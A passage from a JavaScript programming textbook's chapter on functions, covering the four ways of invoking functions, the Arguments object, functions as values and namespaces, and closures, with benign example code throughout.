The JavaScript code that makes up the body of a function is not executed when the function is defined but when it is invoked. JavaScript functions can be invoked in four ways:

- as functions,
- as methods,

1. Some JavaScript implementations relax this rule. Firefox, for example, allows "conditional function declarations" that appear within `if` statements.

- as constructors, and
- indirectly through their `call()` and `apply()` methods.

8.2.1 Function Invocation

Functions are invoked as functions or as methods with an invocation expression (§4.5). An invocation expression consists of a function expression that evaluates to a function object followed by an open parenthesis, a comma-separated list of zero or more argument expressions, and a close parenthesis. If the function expression is a property-access expression—if the function is the property of an object or an element of an array—then it is a method invocation expression. That case will be explained below. The following code includes a number of regular function invocation expressions:

```
printprops({x:1});
var total = distance(0,0,2,1) + distance(2,1,3,5);
var probability = factorial(5)/factorial(13);
```

In an invocation, each argument expression (the ones between the parentheses) is evaluated, and the resulting values become the arguments to the function. These values are assigned to the parameters named in the function definition. In the body of the function, a reference to a parameter evaluates to the corresponding argument value.

For regular function invocation, the return value of the function becomes the value of the invocation expression. If the function returns because the interpreter reaches the end, the return value is `undefined`. If the function returns because the interpreter executes a `return`, the return value is the value of the expression that follows the `return` or `undefined` if the `return` statement has no value.

For function invocation in ECMAScript 3 and nonstrict ECMAScript 5, the invocation context (the `this` value) is the global object. In strict mode, however, the invocation context is `undefined`.

Functions written to be invoked as functions do not typically use the `this` keyword at all. It can be used, however, to determine whether strict mode is in effect:

```
// Define and invoke a function to determine if we're in strict mode.
var strict = (function() { return !this; }());
```

8.2.2 Method Invocation

A *method* is nothing more than a JavaScript function that is stored in a property of an object. If you have a function `f` and an object `o`, you can define a method named `m` of `o` with the following line:

```
o.m = f;
```

Having defined the method `m()` of the object `o`, invoke it like this:

```
o.m();
```


Download from Wow! eBook <www.wowebook.com>

Or, if `m()` expects two arguments, you might invoke it like this:

```
o.m(x, y);
```

The code above is an invocation expression: it includes a function expression `o.m` and two argument expressions, `x` and `y`. The function expression is itself a property access expression (§4.4), and this means that the function is invoked as a method rather than as a regular function.

The arguments and return value of a method invocation are handled exactly as described above for regular function invocation. Method invocations differ from function invocations in one important way, however: the invocation context. Property access expressions consist of two parts: an object (in this case `o`) and a property name (`m`). In a method invocation expression like this, the object `o` becomes the invocation context, and the function body can refer to that object by using the keyword `this`. Here is a concrete example:

```
var calculator = {  // An object literal
    operand1: 1,
    operand2: 1,
    add: function() {
        // Note the use of the this keyword to refer to this object.
        this.result = this.operand1 + this.operand2;
    }
};
calculator.add();       // A method invocation to compute 1+1.
calculator.result       // => 2
```

Most method invocations use the dot notation for property access, but property access expressions that use square brackets also cause method invocation. The following are both method invocations, for example:

```
o["m"](x,y);   // Another way to write o.m(x,y).
a[0](z)        // Also a method invocation (assuming a[0] is a function).
```

Method invocations may also involve more complex property access expressions:

```
customer.surname.toUpperCase(); // Invoke method on customer.surname
f().m();                        // Invoke method m() on return value of f()
```

Methods and the `this` keyword are central to the object-oriented programming paradigm. Any function that is used as a method is effectively passed an implicit argument—the object through which it is invoked. Typically, a method performs some sort of operation on that object, and the method-invocation syntax is an elegant way to express the fact that a function is operating on an object. Compare the following two lines:

```
rect.setSize(width, height);
setRectSize(rect, width, height);
```

The hypothetical functions invoked in these two lines of code may perform exactly the same operation on the (hypothetical) object `rect`, but the method-invocation syntax in the first line more clearly indicates the idea that it is the object `rect` that is the primary focus of the operation.

Method Chaining

When methods return objects, you can use the return value of one method invocation as part of a subsequent invocation. This results in a series (or "chain" or "cascade") of method invocations as a single expression. When working with the jQuery library (Chapter 19), for example, it is common to write code like this:

```
// Find all headers, map to their ids, convert to an array and sort them
$(":header").map(function() { return this.id }).get().sort();
```

When you write a method that does not have a return value of its own, consider having the method return `this`. If you do this consistently throughout your API, you will enable a style of programming known as *method chaining*[2] in which an object can be named once and then multiple methods can be invoked on it:

```
shape.setX(100).setY(100).setSize(50).setOutline("red").setFill("blue").draw();
```

Don't confuse method chaining with constructor chaining, which is described in §9.7.2.

Note that `this` is a keyword, not a variable or property name. JavaScript syntax does not allow you to assign a value to `this`.

Unlike variables, the `this` keyword does not have a scope, and nested functions do not inherit the `this` value of their caller. If a nested function is invoked as a method, its `this` value is the object it was invoked on. If a nested function is invoked as a function then its `this` value will be either the global object (non-strict mode) or `undefined` (strict mode). It is a common mistake to assume that a nested function invoked as a function can use `this` to obtain the invocation context of the outer function. If you want to access the `this` value of the outer function, you need to store that value into a variable that is in scope for the inner function. It is common to use the variable `self` for this purpose. For example:

```
var o = {                           // An object o.
    m: function() {                 // Method m of the object.
        var self = this;            // Save the this value in a variable.
        console.log(this === o);    // Prints "true": this is the object o.
        f();                        // Now call the helper function f().

        function f() {              // A nested function f
           console.log(this === o); // "false": this is global or undefined
           console.log(self === o); // "true": self is the outer this value.
        }
    }
};
o.m();                              // Invoke the method m on the object o.
```

Example 8-5, in §8.7.4, includes a more realistic use of the `var self=this` idiom.

2. The term was coined by Martin Fowler. See *http://martinfowler.com/dslwip/MethodChaining.html*.

8.2.3 Constructor Invocation

If a function or method invocation is preceded by the keyword `new`, then it is a constructor invocation. (Constructor invocations were introduced in §4.6 and §6.1.2, and constructors will be covered in more detail in Chapter 9.) Constructor invocations differ from regular function and method invocations in their handling of arguments, invocation context, and return value.

If a constructor invocation includes an argument list in parentheses, those argument expressions are evaluated and passed to the function in the same way they would be for function and method invocations. But if a constructor has no parameters, then JavaScript constructor invocation syntax allows the argument list and parentheses to be omitted entirely. You can always omit a pair of empty parentheses in a constructor invocation and the following two lines, for example, are equivalent:

```
var o = new Object();
var o = new Object;
```

A constructor invocation creates a new, empty object that inherits from the `prototype` property of the constructor. Constructor functions are intended to initialize objects and this newly created object is used as the invocation context, so the constructor function can refer to it with the `this` keyword. Note that the new object is used as the invocation context even if the constructor invocation looks like a method invocation. That is, in the expression `new o.m()`, `o` is not used as the invocation context.

Constructor functions do not normally use the `return` keyword. They typically initialize the new object and then return implicitly when they reach the end of their body. In this case, the new object is the value of the constructor invocation expression. If, however, a constructor explicitly used the `return` statement to return an object, then that object becomes the value of the invocation expression. If the constructor uses `return` with no value, or if it returns a primitive value, that return value is ignored and the new object is used as the value of the invocation.

8.2.4 Indirect Invocation

JavaScript functions are objects and like all JavaScript objects, they have methods. Two of these methods, `call()` and `apply()`, invoke the function indirectly. Both methods allow you to explicitly specify the `this` value for the invocation, which means you can invoke any function as a method of any object, even if it is not actually a method of that object. Both methods also allow you to specify the arguments for the invocation. The `call()` method uses its own argument list as arguments to the function and the `apply()` method expects an array of values to be used as arguments. The `call()` and `apply()` methods are described in detail in §8.7.3.

8.3 Function Arguments and Parameters

JavaScript function definitions do not specify an expected type for the function parameters, and function invocations do not do any type checking on the argument values you pass. In fact, JavaScript function invocations do not even check the number of arguments being passed. The subsections that follow describe what happens when a function is invoked with fewer arguments than declared parameters or with more arguments than declared parameters. They also demonstrate how you can explicitly test the type of function arguments if you need to ensure that a function is not invoked with inappropriate arguments.

8.3.1 Optional Parameters

When a function is invoked with fewer arguments than declared parameters, the additional parameters are set to the `undefined` value. It is often useful to write functions so that some arguments are optional and may be omitted when the function is invoked. To do this, you must be able to assign a reasonable default value to parameters that are omitted. Here is an example:

```
// Append the names of the enumerable properties of object o to the
// array a, and return a.  If a is omitted, create and return a new array.
function getPropertyNames(o, /* optional */ a) {
    if (a === undefined) a = [];  // If undefined, use a new array
    for(var property in o) a.push(property);
    return a;
}

// This function can be invoked with 1 or 2 arguments:
var a = getPropertyNames(o);  // Get o's properties into a new array
getPropertyNames(p,a);        // append p's properties to that array
```

Instead of using an `if` statement in the first line of this function, you can use the `||` operator in this idiomatic way:

```
a = a || [];
```

Recall from §4.10.2 that the `||` operator returns its first argument if that argument is truthy and otherwise returns its second argument. In this case, if any object is passed as the second argument, the function will use that object. But if the second argument is omitted (or `null` or another falsy value is passed), a newly created empty array will be used instead.

Note that when designing functions with optional arguments, you should be sure to put the optional ones at the end of the argument list so that they can be omitted. The programmer who calls your function cannot omit the first argument and pass the second: she would have to explicitly pass `undefined` the first argument. Also note the use of the comment `/* optional */` in the function definition to emphasize the fact that the parameter is optional.

8.3.2 Variable-Length Argument Lists: The Arguments Object

When a function is invoked with more argument values than there are parameter names, there is no way to directly refer to the unnamed values. The Arguments object provides a solution to this problem. Within the body of a function, the identifier `arguments` refers to the Arguments object for that invocation. The Arguments object is an array-like object (see §7.11) that allows the argument values passed to the function to be retrieved by number, rather than by name.

Suppose you define a function `f` that expects to be passed one argument, `x`. If you invoke this function with two arguments, the first argument is accessible within the function by the parameter name `x` or as `arguments[0]`. The second argument is accessible only as `arguments[1]`. Furthermore, like true arrays, `arguments` has a `length` property that specifies the number of elements it contains. Thus, within the body of the function `f`, invoked with two arguments, `arguments.length` has the value 2.

The Arguments object is useful in a number of ways. The following example shows how you can use it to verify that a function is invoked with the expected number of arguments, since JavaScript doesn't do this for you:

```
function f(x, y, z)
{
    // First, verify that the right number of arguments was passed
    if (arguments.length != 3) {
        throw new Error("function f called with " + arguments.length +
                        "arguments, but it expects 3 arguments.");
    }
    // Now do the actual function...
}
```

Note that it is often unnecessary to check the number of arguments like this. JavaScript's default behavior is fine in most cases: missing arguments are `undefined` and extra arguments are simply ignored.

One important use of the Arguments object is to write functions that operate on any number of arguments. The following function accepts any number of numeric arguments and returns the value of the largest argument it is passed (see also the built-in function `Math.max()`, which behaves the same way):

```
function max(/* ... */) {
    var max = Number.NEGATIVE_INFINITY;
    // Loop through the arguments, looking for, and remembering, the biggest.
    for(var i = 0; i < arguments.length; i++)
        if (arguments[i] > max) max = arguments[i];
    // Return the biggest
    return max;
}

var largest = max(1, 10, 100, 2, 3, 1000, 4, 5, 10000, 6);  // => 10000
```

Functions like this one that can accept any number of arguments are called *variadic functions*, *variable arity functions*, or *varargs functions*. This book uses the most colloquial term, *varargs*, which dates to the early days of the C programming language.

Note that varargs functions need not allow invocations with zero arguments. It is perfectly reasonable to use the `arguments[]` object to write functions that expect some fixed number of named and required arguments followed by an arbitrary number of unnamed optional arguments.

Remember that `arguments` is not really an array; it is an Arguments object. Each Arguments object defines numbered array elements and a `length` property, but it is not technically an array; it is better to think of it as an object that happens to have some numbered properties. See §7.11 for more on array-like objects.

The Arguments object has one *very* unusual feature. In non-strict mode, when a function has named parameters, the array elements of the Arguments object are aliases for the parameters that hold the function arguments. The numbered elements of the Arguments object and the parameter names are like two different names for the same variable. Changing the value of an argument with an argument name changes the value that is retrieved through the `arguments[]` array. Conversely, changing the value of an argument through the `arguments[]` array changes the value that is retrieved by the argument name. Here is an example that clarifies this:

```
function f(x) {
    console.log(x);       // Displays the initial value of the argument
    arguments[0] = null;  // Changing the array element also changes x!
    console.log(x);       // Now displays "null"
}
```

This is emphatically not the behavior you would see if the Arguments object were an ordinary array. In that case, `arguments[0]` and `x` could refer initially to the same value, but a change to one would have no effect on the other.

This special behavior of the Arguments object has been removed in the strict mode of ECMAScript 5. There are other strict-mode differences as well. In non-strict functions, `arguments` is just an identifier. In strict mode, it is effectively a reserved word. Strict-mode functions cannot use `arguments` as a parameter name or as a local variable name, and they cannot assign values to `arguments`.

8.3.2.1 The callee and caller properties

In addition to its array elements, the Arguments object defines `callee` and `caller` properties. In ECMAScript 5 strict mode, these properties are guaranteed to raise a TypeError if you try to read or write them. Outside of strict mode, however, the ECMAScript standard says that the `callee` property refers to the currently running function. `caller` is a nonstandard but commonly implemented property that refers to the function that called this one. The `caller` property gives access to the call stack, and the `callee` property is occasionally useful to allow unnamed functions to call themselves recursively:

```
var factorial = function(x) {
    if (x <= 1) return 1;
    return x * arguments.callee(x-1);
};
```

8.3.3 Using Object Properties As Arguments

When a function has more than three parameters, it becomes difficult for the programmer who invokes the function to remember the correct order in which to pass arguments. To save the programmer the trouble of consulting the documentation each time she uses the function, it can be nice to allow arguments to be passed as name/value pairs in any order. To implement this style of method invocation, define your function to expect a single object as its argument and then have users of the function pass an object that defines the required name/value pairs. The following code gives an example and also demonstrates that this style of function invocation allows the function to specify defaults for any arguments that are omitted:

```
// Copy length elements of the array from to the array to.
// Begin copying with element from_start in the from array
// and copy that element to to_start in the to array.
// It is hard to remember the order of the arguments.
function arraycopy(/* array */ from, /* index */ from_start,
                   /* array */ to,   /* index */ to_start,
                   /* integer */ length)
{
    // code goes here
}

// This version is a little less efficient, but you don't have to
// remember the order of the arguments, and from_start and to_start
// default to 0.
function easycopy(args) {
    arraycopy(args.from,
              args.from_start || 0,  // Note default value provided
              args.to,
              args.to_start || 0,
              args.length);
}
// Here is how you might invoke easycopy():
var a = [1,2,3,4], b = [];
easycopy({from: a, to: b, length: 4});
```

8.3.4 Argument Types

JavaScript method parameters have no declared types, and no type checking is performed on the values you pass to a function. You can help to make your code self-documenting by choosing descriptive names for function arguments and also by including argument types in comments, as in the `arraycopy()` method just shown. For arguments that are optional, you can include the word "optional" in the comment. And when a method can accept any number of arguments, you can use an ellipsis:

```
function max(/* number... */) { /* code here */ }
```

As described in §3.8, JavaScript performs liberal type conversion as needed. So if you write a function that expects a string argument and then call that function with a value of some other type, the value you passed will simply be converted to a string when the function tries to use it as a string. All primitive types can be converted to strings, and all objects have `toString()` methods (if not necessarily useful ones), so an error never occurs in this case.

This is not always true, however. Consider again the `arraycopy()` method shown earlier. It expects an array as its first argument. Any plausible implementation will fail if that first argument is anything but an array (or possibly an array-like object). Unless you are writing a "throwaway" function that will be called only once or twice, it may be worth adding code to check the types of arguments like this. It is better for a function to fail immediately and predictably when passed bad values than to begin executing and fail later with an error message that is likely to be unclear. Here is an example function that performs type-checking. Note that it uses the `isArrayLike()` function from §7.11:

```
// Return the sum of the elements of array (or array-like object) a.
// The elements of a must all be numbers or null and undefined are ignored.
function sum(a) {
    if (isArrayLike(a)) {
        var total = 0;
        for(var i = 0; i < a.length; i++) {  // Loop though all elements
            var element = a[i];
            if (element == null) continue;   // Skip null and undefined
            if (isFinite(element)) total += element;
            else throw new Error("sum(): elements must be finite numbers");
        }
        return total;
    }
    else throw new Error("sum(): argument must be array-like");
}
```

This `sum()` method is fairly strict about the argument it accepts and throws suitably informative errors if it is passed bad values. It does offer a bit of flexibility, however, by working with array-like objects as well as true arrays and by ignoring `null` and `undefined` array elements.

JavaScript is a very flexible and loosely typed language, and sometimes it is appropriate to write functions that are flexible about the number and type of arguments they are passed. The following `flexisum()` method takes this approach (probably to an extreme). For example, it accepts any number of arguments but recursively processes any arguments that are arrays. In this way, it can be used as a varargs method or with an array argument. Furthermore, it tries its best to convert nonnumeric values to numbers before throwing an error:

```
function flexisum(a) {
    var total = 0;
    for(var i = 0; i < arguments.length; i++) {
        var element = arguments[i], n;
        if (element == null) continue;  // Ignore null and undefined arguments
```

```
        if (isArray(element))                  // If the argument is an array
            n = flexisum.apply(this, element);  // compute its sum recursively
        else if (typeof element === "function") // Else if it's a function...
            n = Number(element());              // invoke it and convert.
        else n = Number(element);               // Else try to convert it

        if (isNaN(n))  // If we couldn't convert to a number, throw an error
            throw Error("flexisum(): can't convert " + element + " to number");
        total += n;    // Otherwise, add n to the total
    }
    return total;
}
```

8.4 Functions As Values

The most important features of functions are that they can be defined and invoked. Function definition and invocation are syntactic features of JavaScript and of most other programming languages. In JavaScript, however, functions are not only syntax but also values, which means they can be assigned to variables, stored in the properties of objects or the elements of arrays, passed as arguments to functions, and so on.[3]

To understand how functions can be JavaScript data as well as JavaScript syntax, consider this function definition:

```
function square(x) { return x*x; }
```

This definition creates a new function object and assigns it to the variable `square`. The name of a function is really immaterial; it is simply the name of a variable that refers to the function object. The function can be assigned to another variable and still work the same way:

```
var s = square;     // Now s refers to the same function that square does
square(4);          // => 16
s(4);               // => 16
```

Functions can also be assigned to object properties rather than variables. When you do this, they're called methods:

```
var o = {square: function(x) { return x*x; }}; // An object literal
var y = o.square(16);                          // y equals 256
```

Functions don't even require names at all, as when they're assigned to array elements:

```
var a = [function(x) { return x*x; }, 20];   // An array literal
a[0](a[1]);                                  // => 400
```

The syntax of this last example looks strange, but it is still a legal function invocation expression!

3. This may not seem like a particularly interesting point unless you are familiar with languages such as Java, in which functions are part of a program but cannot be manipulated by the program.

Example 8-2 demonstrates the kinds of things that can be done when functions are used as values. This example may be a little tricky, but the comments explain what is going on.

Example 8-2. Using functions as data

```
// We define some simple functions here
function add(x,y) { return x + y; }
function subtract(x,y) { return x - y; }
function multiply(x,y) { return x * y; }
function divide(x,y) { return x / y; }

// Here's a function that takes one of the above functions
// as an argument and invokes it on two operands
function operate(operator, operand1, operand2) {
    return operator(operand1, operand2);
}

// We could invoke this function like this to compute the value (2+3) + (4*5):
var i = operate(add, operate(add, 2, 3), operate(multiply, 4, 5));

// For the sake of the example, we implement the simple functions again,
// this time using function literals within an object literal;
var operators = {
    add:      function(x,y) { return x+y; },
    subtract: function(x,y) { return x-y; },
    multiply: function(x,y) { return x*y; },
    divide:   function(x,y) { return x/y; },
    pow:      Math.pow  // Works for predefined functions too
};

// This function takes the name of an operator, looks up that operator
// in the object, and then invokes it on the supplied operands. Note
// the syntax used to invoke the operator function.
function operate2(operation, operand1, operand2) {
    if (typeof operators[operation] === "function")
        return operators[operation](operand1, operand2);
    else throw "unknown operator";
}

// Compute the value ("hello" + " " + "world") like this:
var j = operate2("add", "hello", operate2("add", " ", "world"));
// Using the predefined Math.pow() function:
var k = operate2("pow", 10, 2);
```

As another example of functions as values, consider the `Array.sort()` method. This method sorts the elements of an array. Because there are many possible orders to sort by (numerical order, alphabetical order, date order, ascending, descending, and so on), the `sort()` method optionally takes a function as an argument to tell it how to perform the sort. This function has a simple job: for any two values it is passed, it returns a value that specifies which element would come first in a sorted array. This function argument makes `Array.sort()` perfectly general and infinitely flexible; it can sort any type of data into any conceivable order. Examples are shown in §7.8.3.

8.4.1 Defining Your Own Function Properties

Functions are not primitive values in JavaScript, but a specialized kind of object, which means that functions can have properties. When a function needs a "static" variable whose value persists across invocations, it is often convenient to use a property of the function, instead of cluttering up the namespace by defining a global variable. For example, suppose you want to write a function that returns a unique integer whenever it is invoked. The function must never return the same value twice. In order to manage this, the function needs to keep track of the values it has already returned, and this information must persist across function invocations. You could store this information in a global variable, but that is unnecessary, because the information is used only by the function itself. It is better to store the information in a property of the Function object. Here is an example that returns a unique integer whenever it is called:

```
// Initialize the counter property of the function object.
// Function declarations are hoisted so we really can
// do this assignment before the function declaration.
uniqueInteger.counter = 0;

// This function returns a different integer each time it is called.
// It uses a property of itself to remember the next value to be returned.
function uniqueInteger() {
    return uniqueInteger.counter++;  // Increment and return counter property
}
```

As another example, consider the following `factorial()` function that uses properties of itself (treating itself as an array) to cache previously computed results:

```
// Compute factorials and cache results as properties of the function itself.
function factorial(n) {
    if (isFinite(n) && n>0 && n==Math.round(n)) { // Finite, positive ints only
        if (!(n in factorial))                    // If no cached result
            factorial[n] = n * factorial(n-1);    // Compute and cache it
        return factorial[n];                      // Return the cached result
    }
    else return NaN;                              // If input was bad
}
factorial[1] = 1;  // Initialize the cache to hold this base case.
```

8.5 Functions As Namespaces

Recall from §3.10.1 that JavaScript has function scope: variables declared within a function are visible throughout the function (including within nested functions) but do not exist outside of the function. Variables declared outside of a function are global variables and are visible throughout your JavaScript program. JavaScript does not define any way to declare variables that are hidden within a single block of code, and for this reason, it is sometimes useful to define a function simply to act as a temporary namespace in which you can define variables without polluting the global namespace.

Suppose, for example, you have a module of JavaScript code that you want to use in a number of different JavaScript programs (or, for client-side JavaScript, on a number of different web pages). Assume that this code, like most code, defines variables to store the intermediate results of its computation. The problem is that since this module will be used in many different programs, you don't know whether the variables it creates will conflict with variables used by the programs that import it. The solution, of course, is to put the code into a function and then invoke the function. This way, variables that would have been global become local to the function:

```
function mymodule() {
  // Module code goes here.
  // Any variables used by the module are local to this function
  // instead of cluttering up the global namespace.
}
mymodule();  // But don't forget to invoke the function!
```

This code defines only a single global variable: the function name "mymodule". If defining even a single property is too much, you can define and invoke an anonymous function in a single expression:

```
(function() {  // mymodule function rewritten as an unnamed expression
  // Module code goes here.
}());          // end the function literal and invoke it now.
```

This technique of defining and invoking a function in a single expression is used frequently enough that it has become idiomatic. Note the use of parentheses in the code above. The open parenthesis before `function` is required because without it, the JavaScript interpreter tries to parse the `function` keyword as a function declaration statement. With the parenthesis, the interpreter correctly recognizes this as a function definition expression. It is idiomatic to use the parentheses, even when they are not required, around a function that is to be invoked immediately after being defined.

Example 8-3 demonstrates this namespace technique. It defines an anonymous function that returns an `extend()` function like the one shown in Example 6-2. The code in the anonymous function tests whether a well-known Internet Explorer bug is present and, if so, returns a patched version of the function. In addition, the anonymous function's namespace serves to hide an array of property names.

Example 8-3. The extend() function, patched if necessary

```
// Define an extend function that copies the properties of its second and
// subsequent arguments onto its first argument.
// We work around an IE bug here: in many versions of IE, the for/in loop
// won't enumerate an enumerable property of o if the prototype of o has
// a nonenumerable property by the same name. This means that properties
// like toString are not handled correctly unless we explicitly check for them.
var extend = (function() {  // Assign the return value of this function
    // First check for the presence of the bug before patching it.
    for(var p in {toString:null}) {
        // If we get here, then the for/in loop works correctly and we return
        // a simple version of the extend() function
        return function extend(o) {
```

```
            for(var i = 1; i < arguments.length; i++) {
                var source = arguments[i];
                for(var prop in source) o[prop] = source[prop];
            }
            return o;
        };
    }
    // If we get here, it means that the for/in loop did not enumerate
    // the toString property of the test object. So return a version
    // of the extend() function that explicitly tests for the nonenumerable
    // properties of Object.prototype.
    return function patched_extend(o) {
        for(var i = 1; i < arguments.length; i++) {
            var source = arguments[i];
            // Copy all the enumerable properties
            for(var prop in source) o[prop] = source[prop];

            // And now check the special-case properties
            for(var j = 0; j < protoprops.length; j++) {
                prop = protoprops[j];
                if (source.hasOwnProperty(prop)) o[prop] = source[prop];
            }
        }
        return o;
    };

    // This is the list of special-case properties we check for
    var protoprops = ["toString", "valueOf", "constructor", "hasOwnProperty",
                      "isPrototypeOf", "propertyIsEnumerable","toLocaleString"];
}());
```

8.6 Closures

Like most modern programming languages, JavaScript uses *lexical scoping*. This means that functions are executed using the variable scope that was in effect when they were defined, not the variable scope that is in effect when they are invoked. In order to implement lexical scoping, the internal state of a JavaScript function object must include not only the code of the function but also a reference to the current scope chain. (Before reading the rest of this section, you may want to review the material on variable scope and the scope chain in §3.10 and §3.10.3.) This combination of a function object and a scope (a set of variable bindings) in which the function's variables are resolved is called a *closure* in the computer science literature.[4]

Technically, all JavaScript functions are closures: they are objects, and they have a scope chain associated with them. Most functions are invoked using the same scope chain that was in effect when the function was defined, and it doesn't really matter that there is a closure involved. Closures become interesting when they are invoked under a

4. This is an old term that refers to the fact that the function's variables have bindings in the scope chain and that therefore the function is "closed over" its variables.

different scope chain than the one that was in effect when they were defined. This happens most commonly when a nested function object is returned from the function within which it was defined. There are a number of powerful programming techniques that involve this kind of nested function closures, and their use has become relatively common in JavaScript programming. Closures may seem confusing when you first encounter them, but it is important that you understand them well enough to use them comfortably.

The first step to understanding closures is to review the lexical scoping rules for nested functions. Consider the following code (which is similar to code you've already seen in §3.10):

```
var scope = "global scope";          // A global variable
function checkscope() {
    var scope = "local scope";       // A local variable
    function f() { return scope; }   // Return the value in scope here
    return f();
}
checkscope()                         // => "local scope"
```

The `checkscope()` function declares a local variable and then defines and invokes a function that returns the value of that variable. It should be clear to you why the call to `checkscope()` returns "local scope". Now let's change the code just slightly. Can you tell what this code will return?

```
var scope = "global scope";          // A global variable
function checkscope() {
    var scope = "local scope";       // A local variable
    function f() { return scope; }   // Return the value in scope here
    return f;
}
checkscope()()                       // What does this return?
```

In this code, a pair of parentheses has moved from inside `checkscope()` to outside of it. Instead of invoking the nested function and returning its result, `checkscope()` now just returns the nested function object itself. What happens when we invoke that nested function (with the second pair of parentheses in the last line of code) outside of the function in which it was defined?

Remember the fundamental rule of lexical scoping: JavaScript functions are executed using the scope chain that was in effect when they were defined. The nested function `f()` was defined under a scope chain in which the variable `scope` was bound to the value "local scope". That binding is still in effect when `f` is executed, wherever it is executed from. So the last line of code above returns "local scope", not "global scope". This, in a nutshell, is the surprising and powerful nature of closures: they capture the local variable (and parameter) bindings of the outer function within which they are defined.

Implementing Closures

Closures are easy to understand if you simply accept the lexical scoping rule: functions are executed using the scope chain that was in effect when they were defined. Some programmers find closures confusing, however, because they get caught up in implementation details. Surely, they think, the local variables defined in the outer function cease to exist when the outer function returns, so how can the nested function execute using a scope chain that does not exist anymore? If you're wondering about this yourself, then you have probably been exposed to low-level programming languages like C and to stack-based CPU architectures: if a function's local variables are defined on a CPU stack, then they would indeed cease to exist when the function returned.

But remember our definition of scope chain from §3.10.3. We described it as a list of objects, not a stack of bindings. Each time a JavaScript function is invoked, a new object is created to hold the local variables for that invocation, and that object is added to the scope chain. When the function returns, that variable binding object is removed from the scope chain. If there were no nested functions, there are no more references to the binding object and it gets garbage collected. If there were nested functions defined, then each of those functions has a reference to the scope chain, and that scope chain refers to the variable binding object. If those nested functions objects remained within their outer function, however, then they themselves will be garbage collected, along with the variable binding object they referred to. But if the function defines a nested function and returns it or stores it into a property somewhere, then there will be an external reference to the nested function. It won't be garbage collected, and the variable binding object it refers to won't be garbage collected either.

In §8.4.1 we defined a `uniqueInteger()` function that used a property of the function itself to keep track of the next value to be returned. A shortcoming of that approach is that buggy or malicious code could reset the counter or set it to a noninteger, causing the `uniqueInteger()` function to violate the "unique" or the "integer" part of its contract. Closures capture the local variables of a single function invocation and can use those variables as private state. Here is how we could rewrite the `uniqueInteger()` function using closures:

```
var uniqueInteger = (function() {          // Define and invoke
                         var counter = 0;  // Private state of function below
                         return function() { return counter++; };
                     }());
```

In order to understand this code, you have to read it carefully. At first glance, the first line of code looks like it is assigning a function to the variable `uniqueInteger`. In fact, the code is defining and invoking (as hinted by the open parenthesis on the first line) a function, so it is the return value of the function that is being assigned to `uniqueInteger`. Now, if we study the body of the function, we see that its return value is another function. It is this nested function object that gets assigned to `uniqueInteger`. The nested function has access to the variables in scope, and can use the `counter` variable defined in the outer function. Once that outer function returns, no other code can see the `counter` variable: the inner function has exclusive access to it.

Private variables like `counter` need not be exclusive to a single closure: it is perfectly possible for two or more nested functions to be defined within the same outer function and share the same scope chain. Consider the following code:

```
function counter() {
    var n = 0;
    return {
        count: function() { return n++; },
        reset: function() { n = 0; }
    };
}

var c = counter(), d = counter();   // Create two counters
c.count()                           // => 0
d.count()                           // => 0: they count independently
c.reset()                           // reset() and count() methods share state
c.count()                           // => 0: because we reset c
d.count()                           // => 1: d was not reset
```

The `counter()` function returns a "counter" object. This object has two methods: `count()` returns the next integer, and `reset()` resets the internal state. The first thing to understand is that the two methods share access to the private variable `n`. The second thing to understand is that each invocation of `counter()` creates a new scope chain and a new private variable. So if you call `counter()` twice, you get two counter objects with different private variables. Calling `count()` or `reset()` on one counter object has no effect on the other.

It is worth noting here that you can combine this closure technique with property getters and setters. The following version of the `counter()` function is a variation on code that appeared in §6.6, but it uses closures for private state rather than relying on a regular object property:

```
function counter(n) {  // Function argument n is the private variable
    return {
        // Property getter method returns and increments private counter var.
        get count() { return n++; },
        // Property setter doesn't allow the value of n to decrease
        set count(m) {
        if (m >= n) n = m;
        else throw Error("count can only be set to a larger value");
        }
    };
}

var c = counter(1000);
c.count            // => 1000
c.count            // => 1001
c.count = 2000
c.count            // => 2000
c.count = 2000     // => Error!
```

Note that this version of the `counter()` function does not declare a local variable, but just uses its parameter `n` to hold the private state shared by the property accessor methods. This allows the caller of `counter()` to specify the initial value of the private variable.

Example 8-4 is a generalization of the shared private state through closures technique we've been demonstrating here. This example defines an `addPrivateProperty()` function that defines a private variable and two nested functions to get and set the value of that variable. It adds these nested functions as methods of the object you specify:

Example 8-4. Private property accessor methods using closures

```
// This function adds property accessor methods for a property with
// the specified name to the object o.  The methods are named get<name>
// and set<name>.  If a predicate function is supplied, the setter
// method uses it to test its argument for validity before storing it.
// If the predicate returns false, the setter method throws an exception.
//
// The unusual thing about this function is that the property value
// that is manipulated by the getter and setter methods is not stored in
// the object o.  Instead, the value is stored only in a local variable
// in this function.  The getter and setter methods are also defined
// locally to this function and therefore have access to this local variable.
// This means that the value is private to the two accessor methods, and it
// cannot be set or modified except through the setter method.
function addPrivateProperty(o, name, predicate) {
    var value;  // This is the property value

    // The getter method simply returns the value.
    o["get" + name] = function() { return value; };

    // The setter method stores the value or throws an exception if
    // the predicate rejects the value.
    o["set" + name] = function(v) {
        if (predicate && !predicate(v))
            throw Error("set" + name + ": invalid value " + v);
        else
            value = v;
    };
}

// The following code demonstrates the addPrivateProperty() method.
var o = {};  // Here is an empty object

// Add property accessor methods getName and setName()
// Ensure that only string values are allowed
addPrivateProperty(o, "Name", function(x) { return typeof x == "string"; });

o.setName("Frank");       // Set the property value
console.log(o.getName()); // Get the property value
o.setName(0);             // Try to set a value of the wrong type
```

We've now seen a number of examples in which two closures are defined in the same scope chain and share access to the same private variable or variables. This is an

important technique, but it is just as important to recognize when closures inadvertently share access to a variable that they should not share. Consider the following code:

```
// This function returns a function that always returns v
function constfunc(v) { return function() { return v; }; }

// Create an array of constant functions:
var funcs = [];
for(var i = 0; i < 10; i++) funcs[i] = constfunc(i);

// The function at array element 5 returns the value 5.
funcs[5]()    // => 5
```

When working with code like this that creates multiple closures using a loop, it is a common error to try to move the loop within the function that defines the closures. Think about the following code, for example:

```
// Return an array of functions that return the values 0-9
function constfuncs() {
    var funcs = [];
    for(var i = 0; i < 10; i++)
       funcs[i] = function() { return i; };
    return funcs;
}

var funcs = constfuncs();
funcs[5]()    // What does this return?
```

The code above creates 10 closures, and stores them in an array. The closures are all defined within the same invocation of the function, so they share access to the variable `i`. When `constfuncs()` returns, the value of the variable `i` is 10, and all 10 closures share this value. Therefore, all the functions in the returned array of functions return the same value, which is not what we wanted at all. It is important to remember that the scope chain associated with a closure is "live." Nested functions do not make private copies of the scope or make static snapshots of the variable bindings.

